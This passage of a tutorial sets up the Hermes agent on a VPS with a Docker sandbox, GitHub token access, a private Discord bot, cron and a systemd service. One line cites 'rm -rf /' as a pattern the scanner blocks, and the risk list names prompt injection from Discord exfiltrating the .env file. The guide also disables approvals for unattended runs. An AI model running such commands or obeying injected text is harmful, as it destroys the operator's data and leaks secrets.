grep -n "default:\\|delegation:\\|fallback_model:\\|reasoning_effort:\\|personality:\\|show_reasoning:\\|vision:\\|compression:" ~/.hermes/config.yaml

On the YAML you should have, at a minimum, something equivalent to this:

model:
  default: qwen/qwen3.6-plus

delegation:
  provider: openrouter
  model: minimax/minimax-m2.7

auxiliary:
  vision:
    provider: openrouter
    model: google/gemini-3-flash-preview
  compression:
    provider: openrouter
    model: qwen/qwen3.6-plus

fallback_model:
  provider: openrouter
  model: minimax/minimax-m2.7

agent:
  reasoning_effort: medium

display:
  personality: technical
  show_reasoning: true

timezone: Europe/Madrid

8.3. What is automatically inherited and what is not

This is what is most confusing at first:

  • If you do not configure delegation, subagents inherit the parent model.

  • auxiliary.vision and auxiliary.compression do not automatically inherit the parent model; they use their own auxiliary resolution.

  • fallback_model not self-inferred: if you don't define it, there is no explicit failover.

  • agent.reasoning_effort does not change model; just adjust how you use the chosen model.

8.4. Switch models without restarting

From CLI or from Discord below:

/model openrouter:qwen/qwen3.6-plus
/model openrouter:minimax/minimax-m2.7

Use it for spot tests. For stable behavior to survive reboots, leave the configuration persisted with hermes config set.

9. Coding skills and the Docker backend for safe execution

9.1. Activate the Docker backend

This causes all commands that Hermes executes (including git, python, npm, etc.) to run inside a sandbox container, not directly on the host.

If you prefer to leave it configured without touching config.yaml by hand, run:

hermes config set terminal.backend docker
hermes config set terminal.docker_image nousresearch/hermes-agent:latest
hermes config set terminal.docker_mount_cwd_to_workspace true
hermes config set terminal.docker_volumes '["/home/hermes/projects:/workspace/projects","/home/hermes/.hermes/cache/documents:/output"]'
hermes config set terminal.docker_forward_env '["OPENROUTER_API_KEY"]'
hermes config set terminal.container_cpu 2
hermes config set terminal.container_memory 4096
hermes config set terminal.container_persistent true
hermes config set code_execution.mode project
hermes config set code_execution.timeout 300
hermes config set code_execution.max_tool_calls 50

For lists like docker_volumes and docker_forward_env, use single quotes on the outside and JSON on the inside, as in the example. So Hermes saves it correctly as an array in config.yaml. At the moment we only resend OPENROUTER_API_KEY. We will add GITHUB_TOKEN in step 9.2.4, when we actually configure GitHub. docker_forward_env does not contain the actual values ​​of the secrets, but rather the names of the variables that Hermes must copy into the container. In this guide we use nousresearch/hermes-agent:latest as the sandbox image because the official documentation indicates that it already includes Python, Node, npm, Playwright with Chromium, ripgrep and ffmpeg. For a VPS where Hermes is going to program, navigate and automate, it is more practical to start from a general image already prepared than from a more minimal image. We also add this mount:

/home/hermes/.hermes/cache/documents:/output

because the official documentation recommends a host-visible export mount when using messaging + backend Docker. So, if Hermes generates a file inside the container, it can write it to /output/... and then the host gateway sees it in /home/hermes/.hermes/cache/documents/... to send it via Discord, Telegram, etc. Be careful with expectations: this mount is necessary, but it does not make the attachment flow perfect when you separate host gateway and sandbox execution Docker. At the moment it is a known limitation of Hermes: the file bridge between sandboxed environments and end users still has gaps, so you may encounter cases where a file generated within the sandbox does not output correctly through Discord/Telegram, or where an attachment received by messaging is not accessible within the execution session. Official issue: https://github.com/NousResearch/hermes-agent/issues/466 We leave terminal.container_cpu: 2 and terminal.container_memory: 4096 because in this tutorial we are using a Hetzner CX32 (4 vCPU, 8 GB RAM). Reserving 2 vCPU and 4 GB for the Docker sandbox is a reasonable middle ground: it gives enough margin for npm, python, builds, tests and browser tools without eating up all the resources of the VPS or leaving Hermes itself, the gateway and the base system without air.

# añade/edita en ~/.hermes/config.yaml
terminal:
  backend: docker
  docker_image: nousresearch/hermes-agent:latest
  docker_mount_cwd_to_workspace: true
  docker_volumes:
    - "/home/hermes/projects:/workspace/projects"
    - "/home/hermes/.hermes/cache/documents:/output"
  docker_forward_env:
    - OPENROUTER_API_KEY
  container_cpu: 2
  container_memory: 4096
  container_persistent: true

code_execution:
  mode: project
  timeout: 300
  max_tool_calls: 50

Ref: Configuration → Terminal Backends (https://hermes-agent.nousresearch.com/docs/user-guide/configuration/). If when you start the gateway as a service you see a warning similar to this:

WARNING gateway.run: Docker backend is enabled for the messaging gateway but no explicit host-visible output mount …

It means that the container is missing just that second export mount. The correct way to avoid this is to leave docker_volumes as in the example above, with:

/home/hermes/.hermes/cache/documents:/output

9.2. Skills useful for programming

Hermes already installs a good number of skills bundled on ~/.hermes/skills/, so at this point in the tutorial there is no need to install additional skills to get started. The most useful thing is to know:

  • what skills has already made available to you

  • how to inspect them

  • how to add extra skills later if a specific need arises

9.2.1. See the skills you already have

hermes skills list

If you want to see the official catalog or search for something specific:

hermes skills browse - source official
hermes skills search github
hermes skills search docker

And if you want to inspect a skill before using it:

hermes skills inspect github-pr-workflow
hermes skills inspect writing-plans

9.2.2. Add more skills if you need them

When you detect a workflow that Hermes does not cover well out of the box, you can install additional skills from the official hub or from other supported sources.

Examples:

hermes skills install official/security/1password
hermes skills install openai/skills/k8s

You can also search before installing:

hermes skills search react - source skills-sh
hermes skills search kubernetes

The official documentation explains that Hermes supports several skills sources: the official ones maintained within the Hermes ecosystem, skills served from GitHub, skills.sh and other supported hubs. They all go through a security scan before being installed.

9.2.3. Practical recommendation for this tutorial

For now, leave the skills as they come and do not overload the system with third-party skills “just in case.”

The most sensible strategy here is:

  1. use the skills bundled first

  2. Observe which tasks you actually repeat

  3. Only install extra skills when you have a clear case

This way you keep Hermes simpler, more predictable and easier to debug.

9.2.4. Integrate GitHub so that Hermes sees repos, clones them and works with PRs

The official Hermes documentation already has this flow resolved with several skills bundled of GitHub:

  • github-auth: GitHub authentication for the agent

  • github-repo-management: clone, create, fork and manage repositories

  • github-pr-workflow: complete PR cycle

  • github-code-review: review changes and PRs

  • github-issues: create and manage issues

The important thing here is to understand two things:

  1. Hermes does not necessarily need gh to work with GitHub.

  2. If gh is installed and authenticated, Hermes takes advantage of it; If not, several of these skills fallback to **git** + GitHub REST API via **curl**.

For this VPS, the simplest and most reproducible route is to use a fine-grained personal access token from GitHub and leave it at ~/.hermes/.env.

Token recommended

Create in GitHub a fine-grained PAT limited to only the repositories you want Hermes to work with.

For the use case of this guide, it is reasonable to give token, at a minimum:

  • Metadata: read

needed to list and query repositories

  • Contents: write

needed to push changes and also to merge PRs by API

  • Pull requests: write

required to open, update and review pull requests

Optional depending on what you want it to do:

  • Issues: write

if you want Hermes to create, tag or close issues

  • Workflows: write

if you want it to touch files from .github/workflows/ or manage workflows

Important: This is a practical inference from the official GitHub documentation for fine-grained tokens and how Hermes uses its GitHub skills. If you work with private repos, do not open more permissions than necessary.

Save it in Hermes

On VPS:

nano ~/.hermes/.env

And adds:

GITHUB_TOKEN=github_pat_xxxxxxxxxxxxxxxxxxxx

If you use backend Docker, please also resend GITHUB_TOKEN

Since in this guide we are running Hermes with terminal.backend: docker, the container needs to see that variable as well:

hermes config set terminal.docker_forward_env '["OPENROUTER_API_KEY","GITHUB_TOKEN"]'

Which skill to use for each task

  • To check authentication:
/github-auth comprueba cómo está autenticado GitHub en esta máquina y qué método usará Hermes
  • To view or clone repos:
/github-repo-management clona owner/repo en /home/hermes/projects/nombre-del-repo
  • To create branches, commits and open PRs:
/github-pr-workflow en este repo crea una rama nueva, prepara los commits necesarios y abre una draft PR contra main
  • To review an already opened PR:
/github-code-review revisa la PR #123, resume riesgos y propone cambios si hace falta
  • To merge a PR if everything is fine:
/github-pr-workflow revisa la PR #123, comprueba CI y haz squash merge si todo está en verde

Important limitation in this tutorial

Hermes will only be able to work with:

  • repositories that your token actually has access to

  • cloned repositories within paths that the Docker sandbox sees

  • in this guide, the natural thing is to clone in:

/home/hermes/projects/

because that directory is mounted inside the container like:

/workspace/projects/

So when Hermes clones or modifies a repository, both the host and the sandbox will see the same files.

Quick check

hermes skills list | grep github
grep '^GITHUB_TOKEN=' ~/.hermes/.env

Then go into Hermes and try something simple:

/github-auth

either:

/github-repo-management lista mis opciones para trabajar con el repo owner/repo y dime si ya puedes operarlo desde este VPS

Official references: Bundled Skills Catalog → GitHub (https://hermes-agent.nousresearch.com/docs/reference/skills-catalog/) Working with Skills (https://hermes-agent.nousresearch.com/docs/guides/work-with-skills) CLI → Preloading Skills / Slash Commands (https://hermes-agent.nousresearch.com/docs/user-guide/cli) Environment Variables → GITHUB_TOKEN (https://hermes-agent.nousresearch.com/docs/reference/environment-variables)

Do it right now: Complete GitHub setup

  1. Create the token in GitHub

The current route on GitHub is:

  1. open GitHub in the browser

  2. enter Settings

  3. enter Developer settings

  4. enter Personal access tokens

  5. choose Fine-grained tokens

  6. press Generate new token

The official GitHub documentation recommends using fine-grained personal access tokens instead of classic tokens whenever possible.

For this guide, when creating the token you configure:

  • Resource owner: your user or your organization

  • Repository access: Only select repositories

  • select only the repos that you want Hermes to be able to touch

  • Expiration: set a reasonable expiration, for example 30 or 90 days

In Repository permissions, check at least:

  • Metadata: Read-only

  • Contents: Read and write

  • Pull requests: Read and write

If you want it to also manage issues:

  • Issues: Read and write

If you want me to play workflows from GitHub Actions:

  • Workflows: Read and write

If repo belongs to an organization, token may remain in status pending until an admin approves it. GitHub documents it as well for fine-grained tokens organizations.

  1. Store it in Hermes

On VPS:

nano ~/.hermes/.env

Add this line:

GITHUB_TOKEN=github_pat_xxxxxxxxxxxxxxxxxxxx
  1. Also forward it to the Docker sandbox

Since Hermes in this guide works within Docker, it adds GITHUB_TOKEN to the variable forwarding:

hermes config set terminal.docker_forward_env '["OPENROUTER_API_KEY","GITHUB_TOKEN"]'
  1. Check that Hermes already sees it
grep '^GITHUB_TOKEN=' ~/.hermes/.env
hermes skills list | grep github

Optionally, if you have gh installed on VPS, you can also check:

gh auth status

If you don't have gh, that's okay: Hermes can continue trading your skills using git + API REST.

  1. Real test from Hermes

First enter Hermes:

hermes

And then try one of these commands:

/github-auth comprueba si ya puedes usar GitHub desde este VPS y qué método de autenticación estás detectando
`/github-repo-management dime si puedes clonar el repositorio owner/repo en /home/hermes/projects/owner-repo y qué te falta para hacerlo

If you want to try a real clone:

/github-repo-management clona owner/repo en /home/hermes/projects/owner-repo
  1. What you should be able to do next

If the token and access to the repo are fine, Hermes should now be able to:

  • view your allowed repositories

  • clone them to /home/hermes/projects/

  • create branches

  • do commits

  • open pull requests

  • check pull requests

  • merge them if token and repo rules allow it

  1. If something goes wrong

The most typical failures here are:

  • token does not have access to the specific repo

  • Contents: write is missing

  • Pull requests: write is missing

  • the organization requires approval from token

  • the repo has protection rules that prevent automatic merge

GitHub official references: Managing your personal access tokens (https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens) Permissions required for fine-grained personal access tokens (https://docs.github.com/en/rest/authentication/permissions-required-for-fine-grained-personal-access-tokens?apiVersion=latest) REST API → Merge to pull request (https://docs.github.com/en/rest/pulls/pulls?apiVersion=2026-03-10)

9.3. Automatic approvals (off mode)

Since all commands are executed inside the Docker container from step 9.1, you can turn off approvals completely. This allows Hermes to work 100% unattended from Discord without asking you for confirmation when it launches npm install, docker compose up, git push, etc.

hermes config set approvals.mode off
hermes config set security.redact_secrets true
hermes config set security.tirith_enabled true
hermes config set security.tirith_timeout 5
hermes config set security.tirith_fail_open true

Why it is reasonable to do it here:

  • The Docker sandbox (terminal.backend: docker) isolates Hermes from the VPS base system.

  • What it can touch are the directories that you mount inside the container, for example /home/hermes/projects, so the isolation is useful but not absolute.

  • tirith_enabled: true applies static analysis before executing and blocks obviously destructive patterns (e.g. rm -rf /).

  • redact_secrets masks .env, tokens and keys before sending to LLM, so they are not leaked to OpenRouter's history.

  • DISCORD_ALLOWED_USERS now restricts who can give orders to the agent.

  • Hetzner makes daily snapshot (step 3.3): if something breaks, you restore.

If at any point you prefer to go back to confirmations, change to mode: smart (Hermes asks only in the destructive, using the auxiliary model) or mode: manual (all confirmed). Ref: Configuration → Security & Approvals (https://hermes-agent.nousresearch.com/docs/user-guide/configuration/).

9.4. Browser automation: we leave it for a later iteration

Hermes supports web browsing and browser automation, both with local browser and cloud providers. But in this specific VPS we have not left the browser path completely validated and stable yet.

In the real tests of this guide this happened to us:

  • browser toolset does try to open pages

  • but the local browser crashes due to sandbox problems

  • and Hermes fallback to tools like curl or extraction by terminal/Python

Therefore, so that this tutorial reflects the real state of the system, we are not going to sell yet “Local Chromium working” as part of the base setup.

What we leave prepared:

  • the image Docker nousresearch/hermes-agent:latest, which is a good generalist base

  • the space to work later with agent-browser, CDP or a cloud provider

  • the verification that the main Hermes backend, Discord, Docker sandbox and LLM models do work

If you later activate a cloud provider like Browser Use, the rule of thumb is this:

  • for Hermes to use Browser Use, just define BROWSER_USE_API_KEY

  • if you also have variables BROWSERBASE_*, the important thing is that BROWSERBASE_API_KEY and BROWSERBASE_PROJECT_ID are not defined

  • variables like BROWSER_SESSION_TIMEOUT or BROWSER_INACTIVITY_TIMEOUT can stay, because they don't activate Browserbase on their own

  • for clarity, if you are not going to use Browserbase, it is advisable to also comment BROWSERBASE_PROXIES and BROWSERBASE_ADVANCED_STEALTH

What we left out of this base walkthrough:

  • full local Chromium installation and validation

  • CDP connection to a host browser

  • browser end-to-end automation confirmed since Discord

In other words: browser automation remains as a next step, not as a requirement to approve this Hermes installation in Hetzner.


10. Connect Hermes with Discord

Follow docs/user-guide/messaging/discord (https://hermes-agent.nousresearch.com/docs/user-guide/messaging/discord).

In this tutorial we are only going to touch three sections of the Discord portal:

  • Información general: to remove the Application ID and give the app a name/icon

  • Instalaciones: to control how you invite the bot to your server

  • Bot: to remove token, define privacy and intents

The rest (OAuth2, Emojis, Webhooks, Rich Presence, Testers, Verificación) we don't need for this flow.

10.1. Create the app and the bot

  1. Enter https://discord.com/developers/applications → New Application → name Hermes Lab.

  2. In General Information:

  • put name, icon and description if you want

  • no need to touch OAuth2, Interactions Endpoint URL or any webhooks for Hermes per gateway

  1. Bot tab:
  • Public Bot: OFF.

  • Requires OAuth2 Code Grant: OFF.

  • Privileged Gateway Intents:

  • ❌ Presence Intent: OFF (Hermes does not need it for this case).

  • ✅ Message Content Intent: ON (required for Hermes to read the text of normal messages).

  • ✅ Server Members Intent: ON. The official Hermes documentation treats it as required in order to correctly resolve allowed users and avoid identification failures.

  1. Reset Token → copies the token (only displayed once).

What it means **Public Bot**: If it is on ON, other users with sufficient permissions could invite your bot to their own servers. If you want this Hermes instance to be yours alone, leave it OFF. Even with Public Bot: OFF, keep DISCORD_ALLOWED_USERS set to your own User ID. This means that, even if the bot is present on a server, Hermes ignores any unauthorized user for security reasons. What it means **Requires OAuth2 Code Grant**: Leave it OFF. That full OAuth2 flow is not necessary for normal use of Hermes as a bot on your server and only complicates installation. Important with the current Discord UI: in the Bot tab you also see a large table of “Bot Permissions”. Take it as a calculator or reference. In practice, if you use Discord Provided Link, the permissions that matter for installation are set in the Installation tab, within Default Install Settings.

10.2. Generate the invite link

In the official Hermes documentation there are two paths:

  • Option A: Installation tab → recommended only if Public Bot = ON

  • Option B: Manual URL → required if Public Bot = OFF

As in this guide we want the private bot, our case is Option B: Manual URL.

  1. Go to Installation.

  2. In Installation Contexts:

  • ✅ Guild Install: ON

  • ❌ User Install: OFF

  1. If you see Discord Provided Link, take it only as a visual reference of the portal, but do not use it: with Public Bot = OFF, Hermes' own documentation indicates that you must invite the bot with a Manual URL.

  2. Copy your Application ID from General Information.

  3. Build this URL manually:

https://discord.com/oauth2/authorize?client_id=TU_APPLICATION_ID&scope=bot+applications.commands&permissions=274878286912

Replace TU_APPLICATION_ID with your actual application ID.

The official Hermes doc says it explicitly: "If you prefer to keep your bot private (Public Bot = OFF), you must use the Manual URL method in Step 5 instead of the Installation tab. The Discord-provided link requires Public Bot to be enabled."

Recommended permissions according to the official Hermes doc

These are the minimal/useful permissions that Hermes recommends for Discord:

  • View Channels — view the channels you have access to

  • Send Messages — reply

  • Embed Links — format rich responses

  • Attach Files — send images, audio and generated files

  • Read Message History — maintain conversation context

  • Send Messages in Threads — reply within threads

  • Add Reactions — add status reactions (👀, ✅, ❌)

As DISCORD_AUTO_THREAD=true and DISCORD_REACTIONS=true are important defaults in Hermes, for this guide I directly recommend the recommended set from the official documentation, not the minimum. Practical note on attachments: even if you give Attach Files permission, with terminal.backend: docker there may be failures when sending or reading files in Discord and Telegram because the gateway and the sandbox do not share exactly the same view of the filesystem. At the moment it is a known limitation of Hermes in sandboxed environments: https://github.com/NousResearch/hermes-agent/issues/466

Useful permission integers

The official Hermes documentation gives these two values:

  • Minimal: 117760

  • Recommended: 274878286912

For this tutorial use Recommended:

permissions=274878286912

Open the manual URL in your browser, choose your server and authorize the installation.

Privacy recommended for this guide: do not leave User Install open if you do not need the bot to function as an app installable by individual users. For this laboratory, the normal thing is: — use Guild Install — invite the bot only to your own server — keep **Public Bot**: **OFF** With this you reduce the exposure surface to a minimum and prevent other users from installing or distributing your bot outside your controlled environment.

10.3. Get your Discord User ID

Discord → Settings → Advanced → Developer Mode ON → right click on your name → Copy User ID.

10.4. Set up Hermes

hermes gateway setup

In the platform selector:

  • move with the arrows to Discord

  • press **Space** to mark it as selected ([x] Discord)

  • press **Enter** only to confirm the selection

Be careful with this detail: Enter does not mark the platform, it only confirms the current screen. If you press Enter without having previously done Space, Hermes interprets that you have not selected any and displays No platforms selected.

After dialing Discord correctly, the wizard will ask you:

  • Discord's bot token

  • your Discord User ID for DISCORD_ALLOWED_USERS

  • optionally, a Channel ID if you want to leave a “home” channel preconfigured for proactive messages (DISCORD_HOME_CHANNEL)

If you already exited the initial wizard without configuring it, nothing happens: go back to prompt and run hermes gateway setup again.

This command is run from your VPS shell, not from within a hermes interactive conversation.

Recommended final block for this tutorial (private bot, single operator, own server):

`DISCORD_BOT_TOKEN=pega_aqui_el_token_real_del_bot
DISCORD_ALLOWED_USERS=pega_aqui_tu_discord_user_id
DISCORD_HOME_CHANNEL=pega_aqui_el_channel_id_donde_quieres_notificaciones
DISCORD_REQUIRE_MENTION=true
DISCORD_AUTO_THREAD=true
DISCORD_REACTIONS=true

What each line means:

  • DISCORD_BOT_TOKEN: the token of the bot taken from the Bot tab

  • DISCORD_ALLOWED_USERS: your User ID from Discord; Hermes will only respond to those users

  • DISCORD_HOME_CHANNEL: “home” channel for cron, warnings and proactive exits

  • DISCORD_REQUIRE_MENTION=true: In server channels, Hermes only responds if you mention it with @

  • DISCORD_AUTO_THREAD=true: each mention in a normal channel opens a new thread to isolate the conversation

  • DISCORD_REACTIONS=true: Hermes uses status emoji reactions where appropriate

If you are still not sure which channel to use as DISCORD_HOME_CHANNEL, you can leave that line out at first and set it later from Discord with /sethome.

DISCORD_HOME_CHANNEL is optional. It is used for cron, warnings and proactive exits. If you don't set it now, you can set it later with /sethome.

10.5. Launch the gateway

Only after you have configured Discord in the previous step:

grep '^DISCORD_' ~/.hermes/.env
hermes gateway

grep helps you verify before starting that at least these variables were saved:

  • DISCORD_BOT_TOKEN

  • DISCORD_ALLOWED_USERS

If at the end of the wizard it asks you:

Install the gateway as a systemd service? (runs in background, starts on boot) [Y/n]:

in a VPS the correct thing is:

  • answer **n** within the wizard

  • finish the normal setup

  • and then install the system service manually with sudo

This does not contradict Hermes' recommendation to use systemd on a headless host. What happens is simply that the wizard cannot create a system service from your unprivileged user session.

Important nuance from the official doc: — on laptops or development machines, user service is usually enough — on a VPS, the appropriate thing is system service / boot service If the assistant shows you this notice, it is normal:

> System service install requires sudo, so Hermes can't create it from this user session.
> After setup, run: sudo "$(command -v hermes)" gateway install - system - run-as-user hermes
> Then start it with: sudo "$(command -v hermes)" gateway start - system

Below, in section 13, we explain this calmly and with verification commands.

Within a few seconds the bot appears online on your server. Try it:

@hermes-agent hello, tell me your current model

It should respond and if you look at the logs (hermes logs gateway) you will see the events.

10.6. Note on browser automation

In this guide we have left browser automation as the next iteration, not as a validated part of the base setup. Therefore, in this phase focus on checking:

  • that the bot responds in Discord

  • that uses the correct model

  • the gateway starts and remains stable

If later you want to validate real navigation with a browser, agent-browser / CDP / cloud provider remains as a later extension.

When you confirm it works, ctrl+C: we will make it serviceable in step 13.


11. Folder structure for projects

Since in this guide we are going to use a single Hermes for several projects, we are interested in the agent:

  • share memory and learnings between sessions

  • always boot into a common working root

  • discover from there the folders of each project

The simplest option is to leave a fixed cwd at:

  • host: /home/hermes/projects

  • container Docker: /workspace/projects

And put a global AGENTS.md in that root to explain to Hermes how it should behave when you change projects by prompt.

mkdir -p /home/hermes/projects

Recommended structure per project:

/home/hermes/projects/<slug-proyecto>/
├── docker-compose.yml # despliegue del prototipo
├── Dockerfile # imagen del servicio
├── src/ # código
├── tests/
├── README.md # docs auto-generadas por Hermes
├── ARTICLE.md # borrador de artículo de blog/Medium
├── CHANGELOG.md
├── .env.example
└── .hermes/ # notas del agente para futuras sesiones
├── decisions.md
└── todo.md

Configure the default Hermes cwd:

hermes config set terminal.cwd /workspace/projects

With this you get:

  • in your current Hermes installation, the gateway and sessions start from cwd defined in config.yaml

  • in the sandbox Docker, the commands start from /workspace/projects

There is no need for a profile per project. The memory, skills and sessions still live in the same Hermes, but the starting point is normalized in the project root. Important: in current versions, Hermes warns that MESSAGING_CWD in ~/.hermes/.env is deprecated. If you have it on from previous tests, delete it and leave only terminal.cwd in config.yaml.

11.1. Add a global AGENTS.md in /projects

The official Hermes documentation explains that AGENTS.md is one of the context files that the agent automatically discovers from the working directory and uses to load project or workspace instructions.

Create a global one like this:

cat > /home/hermes/projects/AGENTS.md <<'EOF'
# Workspace de proyectos

Esta carpeta contiene varios proyectos independientes.

## Regla principal
- Antes de tocar código, identifica explícitamente el proyecto activo que ha pedido el usuario.
- Si el usuario dice "trabaja en Cuentee", asume que el proyecto activo es `cuentee`.

## Estructura esperada
- Cada proyecto vive en `/workspace/projects/<slug>/` dentro del contenedor.
- En el host, la ruta equivalente es `/home/hermes/projects/<slug>/`.

## Rutas obligatorias
- Dentro del sandbox Docker, trabaja siempre bajo `/workspace/projects/`.
- No uses `~/projects`, `projects/` ni `/root/projects`, porque dentro del contenedor pueden apuntar a rutas efímeras fuera del volumen compartido con el host.
- Antes de crear o clonar un proyecto, comprueba que `/workspace/projects` existe y que estás trabajando en la ruta correcta.
- Si vas a crear el proyecto `cuentee`, la ruta correcta es `/workspace/projects/cuentee`.

## Reglas operativas
- No modifiques archivos fuera del proyecto activo salvo que el usuario lo pida de forma explícita.
- Usa siempre rutas completas o haz `cd /workspace/projects/<slug>` al inicio de cada comando importante.
- Si un prompt menciona una ruta ambigua como `~/projects` o `projects/...`, normalízala primero a `/workspace/projects/...` antes de ejecutar nada.
- Antes de abrir PRs o hacer push, comprueba el repo con `git remote get-url origin`.
- Si la carpeta del proyecto no existe, indícalo y propón crearla o clonar el repo correspondiente.

## Convención de nombres
- El nombre que usa el usuario en chat puede no coincidir exactamente con el slug.
- Normaliza nombres como:
  - "Cuentee" -> `cuentee`
  - "URL Shortener" -> `url-shortener`

## GitHub
- Cada proyecto debe tener su propio repositorio remoto.
- Si hay dudas sobre qué repo corresponde al proyecto, inspecciona `git remote -v` dentro de la carpeta del proyecto.
EOF

If that command gives you Permission denied, it usually means that /home/hermes/projects was previously created as root. Check it like this:

ls -ld /home/hermes /home/hermes/projects

If projects belongs to root, correct it once:

sudo chown -R hermes:hermes /home/hermes/projects

And then run cat > /home/hermes/projects/AGENTS.md ... again without **sudo**.

Ref: Context Files → AGENTS.md (https://hermes-agent.nousresearch.com/docs/user-guide/features/context-files) Configuration → Working Directory (https://hermes-agent.nousresearch.com/docs/user-guide/configuration/)

11.2. Practical flow of use

With this basis, the simplest flow will then be:

  1. open a new session with /new if you come from another project

  2. title it with /title Cuentee

  3. say something like:

Quiero trabajar en el proyecto Cuentee. Su carpeta es /workspace/projects/cuentee. Si no existe, dímelo antes de crear nada. Antes de tocar código, comprueba el repo remoto asociado.

This doesn't isolate Hermes' global memory, but you do give it a clear convention to focus on a single repo per session.

Note: /title Cuentee does not change any paths or settings; it only gives the current session a human name so that it can be retrieved later with /resume Cuentee or located more easily in hermes sessions list. It is useful for maintaining one session per project without separating global Hermes memory.


12. Daily summary cron per project

Hermes has built-in cron scheduler to run prompts in the background. In this tutorial we are only going to leave a simple job: once every 24 hours, Hermes reviews the projects and sends you a brief summary of the changes detected.

hermes cron add "0 22 * * *" \
 - prompt "Revisa /workspace/projects. Para cada proyecto con cambios recientes, redacta un resumen breve de lo hecho hoy: archivos o áreas tocadas, objetivo del cambio, estado actual y siguiente paso recomendado. Entrega el resultado en formato lista, agrupado por proyecto." \
 - deliver discord:#lab-status \
 - name daily-project-summary

List and manage:

hermes cron list
hermes cron disable daily-project-summary
hermes cron tick # forzar una ejecución manual para probarlo

Refs: cron / scheduler in docs/user-guide/configuration (https://hermes-agent.nousresearch.com/docs/user-guide/configuration/) and docs/reference/cli-commands (https://hermes-agent.nousresearch.com/docs/reference/cli-commands).


13. Convert Hermes to 24/7 systemd service

On a VPS, the official Hermes documentation recommends using the system service of the gateway itself rather than relying on an open interactive session.

If during hermes gateway setup you saw this notice:

System service install requires sudo, so Hermes can't create it from this user session.
After setup, run: sudo "$(command -v hermes)" gateway install - system - run-as-user hermes
Then start it with: sudo "$(command -v hermes)" gateway start - system

It's totally normal: the wizard runs as your user hermes, but creating a system service requires **sudo**.

13.1. Install the official Hermes system service

sudo "$(command -v hermes)" gateway install - system - run-as-user hermes
sudo "$(command -v hermes)" gateway start - system
sudo "$(command -v hermes)" gateway status - system

On many Ubuntu, sudo does not inherit ~/.local/bin, so sudo hermes ... may fail with command not found even though hermes works fine in your shell. That's why here we use sudo “$(command -v hermes)” ..., which first resolves the actual path of the binary.

This creates a bootstrap service systemd that:

  • runs in the background

  • boots with the server

  • continues working even if you log out SSH

  • run the gateway as user hermes

The official doc itself recommends user service for laptops/dev boxes and system service for VPS or headless hosts.

13.2. Check that it is running correctly

sudo "$(command -v hermes)" gateway status - system
journalctl -u hermes-gateway -f

If you want to stop or restart it:

sudo "$(command -v hermes)" gateway stop - system
sudo "$(command -v hermes)" gateway start - system

13.2.1. If you see status=75 or “Gateway process is running for this profile”

This case really came up during the installation on the VPS. The typical cause is:

  • there was already a manually released hermes gateway in foreground/tmux/nohup

  • then you also try to start the systemd service

  • Hermes detects two gateways for the same profile and blocks clean boot

Typical symptoms:

  • gateway status — system shows status=75

  • Restart pending appears

  • Hermes advises: Gateway process is running for this profile, but the service is not active

Correct flow to fix it:

# 1) parar el servicio systemd si está en bucle
sudo "$(command -v hermes)" gateway stop - system
# 2) cerrar cualquier gateway manual del perfil actual
"$(command -v hermes)" gateway stop
# 3) comprobar que ya no quedan procesos sueltos
sudo "$(command -v hermes)" gateway status - system
# 4) arrancar de nuevo solo el servicio systemd
sudo "$(command -v hermes)" gateway start - system
sudo "$(command -v hermes)" gateway status - system

In our real case of VPS, the sequence that ended up working was this:

sudo "$(command -v hermes)" gateway stop - all
pgrep -af "hermes.*gateway|hermes_cli.main gateway|gateway run"
sudo systemctl reset-failed hermes-gateway
sudo "$(command -v hermes)" gateway start - system
sudo "$(command -v hermes)" gateway status - system

And the final good state you want to see is something like:

Active: active (running)
✓ System gateway service is running
✓ System service starts at boot without requiring systemd linger

If Hermes still says that there are manual processes alive, check the complete logs:

sudo journalctl -u hermes-gateway -n 100 -l

And as a last resort, kill the profile gateways before restarting the service:

"$(command -v hermes)" gateway stop - all
sudo "$(command -v hermes)" gateway start - system

Do not mix at the same time: — a manually launched hermes gateway — and the systemd service Choose one. In this tutorial, in VPS, the one we want to leave at the end is only the service **systemd**.

13.3. About cron and background tasks

According to the current Hermes documentation, hermes gateway already manages the gateway cron scheduler as well, so you do not need a second separate service for cron in this standard flow.

13.4. Avoid duplicating services

Do not leave at the same time:

  • a hermes gateway running in foreground in a terminal

  • and the service systemd

And also avoid having user service and system service installed at the same time, because Hermes warns that this makes the start/stop/status commands ambiguous.

13.5. How to access the dashboard from your laptop

The official Hermes documentation indicates that the dashboard and its chat tab require the web,pty extras. If you did a manual installation or a minimal installation and hermes dashboard does not boot correctly, install those extras before continuing:

pip install 'hermes-agent[web,pty]'

In our case the dashboard is already available, so the operational flow that we have used is this:

If you run this on VPS:

hermes dashboard

Hermes builds the web UI in:

http://127.0.0.1:9119

That 127.0.0.1 is the localhost of VPS, not that of your laptop. So if you try to open that URL directly from your local browser, you will see ERR_CONNECTION_REFUSED.

The recommended way to access it is to keep the dashboard listening only on localhost and expose it using a SSH tunnel.

On VPS:

hermes dashboard - no-open

Leave that VPS terminal open. Then, open another terminal on your local machine and run there:

ssh -L 9119:127.0.0.1:9119 hermes@IP_DE_TU_VPS

And then, in your laptop browser:

http://127.0.0.1:9119

Caution: this ssh -L ... command is executed on your laptop, not within VPS itself. If you launch it from a session already connected to the server, you won't be creating the tunnel you need to see the UI in your local browser. Important: avoid exposing the dashboard with — host 0.0.0.0 unless you later protect it with a reverse proxy and authentication. The official documentation warns that the dashboard can read and edit sensitive files such as ~/.hermes/.env and does not come with its own authentication.


14. Safety and limits

14.1. The non-negotiable

  • ✅ SSH only with key, without root, fail2ban active.

  • ✅ UFW + Cloud Firewall (double layer).

  • ✅ terminal.backend: docker to isolate Hermes from the base system and limit it to what it sees inside the container and mounted volumes.

  • ✅ approvals.mode: off + security.redact_secrets: true + tirith_enabled: true.

  • ✅ DISCORD_ALLOWED_USERS always populated (without this, the gateway denies by default).

  • ✅ chmod 600 ~/.hermes/.env.

  • ✅ Daily backups of active Hetzner.

  • ✅ Spending limit in OpenRouter (Settings → Limits).

14.2. Known risks of this architecture

  • Prompt injection from Discord exfiltrates .env

  • Mitigation: DISCORD_ALLOWED_USERS restricts who speaks; redact_secrets mask before sending to model

  • Runaway OpenRouter costs

  • Mitigation: Hard limit on OpenRouter + alert + agent.max_turns + cheaper fallback_model/delegation

  • Hermes executes destructive command

  • Mitigation: Sandbox Docker + approvals.mode: off + limited mounts + tirith_enabled

  • You are left without a disk with many projects

  • Mitigation: docker system prune -a -f — filter “until=72h” weekly + 80% warning cron

  • Bot token leaked

